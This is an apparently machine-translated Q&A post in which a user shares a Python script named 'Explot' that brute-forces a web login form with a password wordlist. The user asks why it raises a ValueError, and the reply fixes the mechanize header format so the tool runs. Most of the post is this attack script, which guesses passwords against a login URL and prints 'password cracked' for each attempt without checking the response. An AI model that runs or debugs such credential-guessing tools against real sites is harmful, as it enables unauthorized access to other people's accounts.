伙计们我有这个代码但是当我执行响应时是ValueError:太多值要解压...我的问题在哪里?
#!usr/bin/python
import requests
import mechanize
import sys
class Explot(object):
def __init__(self):
self.url = 'https://example.com/auth/login/'
self.listbr= open('Force.txt','r').readlines()
self.PodHtUsear=str(raw_input('Ingresa Nombre Del Campo Del Usuario ::: ' + ' '))
self.PasHtUsearP=str(raw_input('Ingresa Nombre Del Campo De la Contraseña ::: ' + ' '))
self.IngrDa=str(raw_input('Ingresa Usuario :::' + ' '))
for line in self.listbr:
self.passd=line.strip()
self.http=requests.post(self.url, data={'%s'%self.PodHtUsear:self.IngrDa,
'%s'%self.PasHtUsearP:self.passd,
'login':'submit'})
content = self.http.content
sys.stderr.write('password cracked: : : ' + self.passd + '\n')
self.Solmen(True,False)
def Solmen(self,FormeHttp,DisfoHttp):
nav = mechanize.Browser()
nav.set_handle_robots(DisfoHttp)
nav.set_handle_equiv(FormeHttp)
nav.set_handle_referer(FormeHttp)
nav.set_handle_redirect(FormeHttp)
nav.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=0.1)
nav.addheaders = [('User-agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36')]
nav.open('%s'%self.url)
nav.select_form(nr=0)
nav.form['%s'%self.PodHtUsear] = self.IngrDa
nav.form['%s'%self.PasHtUsearP]=self.passd
submi= nav.submit()
print ('Url : %s'%submi.geturl())
if __name__=='__main__':
PostMe = Explot()
回溯:
Traceback (most recent call last):
File "C:\Users\admin\Desktop\cb1.py", line 41, in <module> PostMe = Explot()
File "C:\Users\admin\Desktop\cb1.py", line 21, in init self.Solmen(True,False)
File "C:\Users\admin\Desktop\cb1.py", line 32, in Solmen nav.open('%s'%self.url
File "build\bdist.win32\egg\mechanize_mechanize.py", line 203, in open return self._mech_open(url, data, timeout=timeout)
File "build\bdist.win32\egg\mechanize_mechanize.py", line 230, in mech_open response = UserAgentBase.open(self, request, data)
File "build\bdist.win32\egg\mechanize_opener.py", line 188, in open req = meth(req)
File "build\bdist.win32\egg\mechanize_urllib2_fork.py", line 1062, in do_request for name, value in self.parent.addheaders:
ValueError: too many values to unpack
答案 0 :(得分:1)
回溯表示您将错误的值传递给了添加者。
Mechanize需要一个包含标题的2元组列表,而是传递一个字符串列表。
尝试:
nav.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36')]